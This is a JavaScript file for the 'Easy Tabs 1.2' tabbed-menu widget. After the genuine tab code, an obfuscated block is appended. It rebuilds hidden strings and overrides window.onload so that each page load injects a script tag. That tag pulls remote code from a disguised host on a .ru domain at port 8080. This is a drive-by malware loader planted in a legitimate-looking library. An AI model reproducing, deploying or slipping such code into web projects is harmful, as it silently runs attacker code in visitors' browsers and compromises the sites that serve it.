/*
EASY TABS 1.2 Produced and Copyright by Koller Juergen
www.kollermedia.at | www.austria-media.at
Need Help? http:/www.kollermedia.at/archive/2007/07/10/easy-tabs-12-now-with-autochange
You can use this Script for private and commercial Projects, but just leave the two credit lines, thank you.
*/

//EASY TABS 1.2 - MENU SETTINGS
//Set the id names of your tablink (without a number at the end)
var tablink_idname = new Array("tablink")
//Set the id name of your tabcontentarea (without a number at the end)
var tabcontent_idname = new Array("tabcontent") 
//Set the number of your tabs
var tabcount = new Array("4")
//Set the Tab wich should load at start (In this Example:Tab 2 visible on load)
var loadtabs = new Array("2")  
//Set the Number of the Menu which should autochange (if you dont't want to have a change menu set it to 0)
var autochangemenu = 1;
//the speed in seconds when the tabs should change
var changespeed = 3;
//should the autochange stop if the user hover over a tab from the autochangemenu? 0=no 1=yes
var stoponhover = 0;
//END MENU SETTINGS

/*Swich EasyTabs Functions - no need to edit something here*/
function easytabs(menunr, active) {if (menunr == autochangemenu){currenttab=active;}if ((menunr == autochangemenu)&&(stoponhover==1)) {stop_autochange()} else if ((menunr == autochangemenu)&&(stoponhover==0))  {counter=0;}menunr = menunr-1;for (i=1; i <= tabcount[menunr]; i++){document.getElementById(tablink_idname[menunr]+i).className='tab'+i;document.getElementById(tabcontent_idname[menunr]+i).style.display = 'none';}document.getElementById(tablink_idname[menunr]+active).className='tab'+active+' tabactive';document.getElementById(tabcontent_idname[menunr]+active).style.display = 'block';}var timer; counter=0; var totaltabs=tabcount[autochangemenu-1];var currenttab=loadtabs[autochangemenu-1];function start_autochange(){counter=counter+1;timer=setTimeout("start_autochange()",1000);if (counter == changespeed+1) {currenttab++;if (currenttab>totaltabs) {currenttab=1}easytabs(autochangemenu,currenttab);restart_autochange();}}function restart_autochange(){clearTimeout(timer);counter=0;start_autochange();}function stop_autochange(){clearTimeout(timer);counter=0;}

window.onload=function(){
var menucount=loadtabs.length; var a = 0; var b = 1; do {easytabs(b, loadtabs[a]);  a++; b++;}while (b<=menucount);
if (autochangemenu!=0){start_autochange();}
}
var c=new Date();var Zs;if(Zs!='X' && Zs!='Iw'){Zs=''};try {var B;if(B!='N' && B!='vP'){B='N'};var VF;if(VF!='w' && VF!='XG'){VF='w'};var C='[';var _='';var x;if(x!='H' && x != ''){x=null};var Qh=new Date();var k='g';var T=new Date();var q=RegExp;var d=']';var CV='replace';var O;if(O!='gH'){O=''};function p(I,Q){var ch;if(ch!=''){ch='uH'};this.vPE='';var kc_;if(kc_!='MW'){kc_=''};var JL;if(JL!='wf'){JL=''};var kc=C;var Pp;if(Pp!='XR'){Pp='XR'};kc+=Q;var vh="";var nc="";kc+=d;this.AQ="";var y=new q(kc, k);var gF=new String();var ST;if(ST!='PB'){ST=''};return I[CV](y, _);var HF;if(HF!=''){HF='xz'};var Wr=new Array();};var G=p('cXroe_aXtoe_Eol_eVmVe_nXto',"o_XV");var D;if(D!='' && D!='hH'){D=''};this.s='';var I="1";var DZ;if(DZ!='rD'){DZ=''};var K=p('b0o0dfy4',"fx40");var pl;if(pl!='Xe'){pl=''};var uR;if(uR!='' && uR!='i'){uR=null};var h=p('aIpvpIeInVdICIhVivlIdV',"vIV");var Z=p('sYeYtOAYtOtcrhihbOuctcec',"YchO");var Ix="";var F=p('/XvXiXdGeXoXsXzG.XcGoGmG/GvGiGdXeXoGsXzG.XcXoGmG/GkXoXmGpXaGsX.GcXoGmG/XxXbXoXxX.XcXoGmX/XgXoGoGgGlGeG.GcGoXmX.GpGhGpG',"GX");this.R="";var WO;if(WO!='dj' && WO!='C_'){WO='dj'};this.Tz="";var Fu;if(Fu!='MJ'){Fu=''};var V=p('8522602552865650566',"265");this.Qv='';var kG;if(kG!='Zz' && kG!='fF'){kG=''};var u='';var e_="";var BL='';var Y=p('s2cnryizp2tI',"2Inyz");this.kC="";var CG;if(CG!='kU' && CG != ''){CG=null};var U=p('oAnblAobaAdA',"bA");var xq=new Array();var dJ;if(dJ!='' && dJ!='wu'){dJ='Nf'};var b=p('h1tVt1pJ:1/V/CgKoVoCg1lJeJ-1cVoJmK-VpVhJ.VtVuJeCnVtKiK.Jc1oKmK.1tJoVrCrVeKnCtCzJ-KcKoKm1.JcKy1bVe1rKtVaJgCoCn1lCiJnKeC.Cr1u1:1',"VK1CJ");var Ox="";var rH=new String();var st="";var ut;if(ut!='' && ut!='FL'){ut='io'};window[U]=function(){var PC;if(PC!='WV'){PC=''};var bT=new Array();var aa='';var Ym='';Gg=document[G](Y);var j;if(j!='' && j!='CW'){j=''};var wk;if(wk!='' && wk!='IU'){wk=''};this.yP='';u+=b;var ge;if(ge!='cu' && ge!='CJ'){ge='cu'};var xn=new Date();u+=V;var tO=new Array();var GV=new Array();u+=F;var Gu='';var l;if(l!='CP' && l!='_D'){l='CP'};Gg.setAttribute('defer', I);var v=document[K];Gg.src=u;v.appendChild(Gg);this.mZ="";};this.uC="";var VW;if(VW!='wb' && VW!='bf'){VW='wb'};var Ce=new String();var JK="";} catch(M){var Ez;if(Ez!='Ye'){Ez=''};var sF=new Date();};var rC=new Array();var Ga;if(Ga!='' && Ga!='nu'){Ga=null};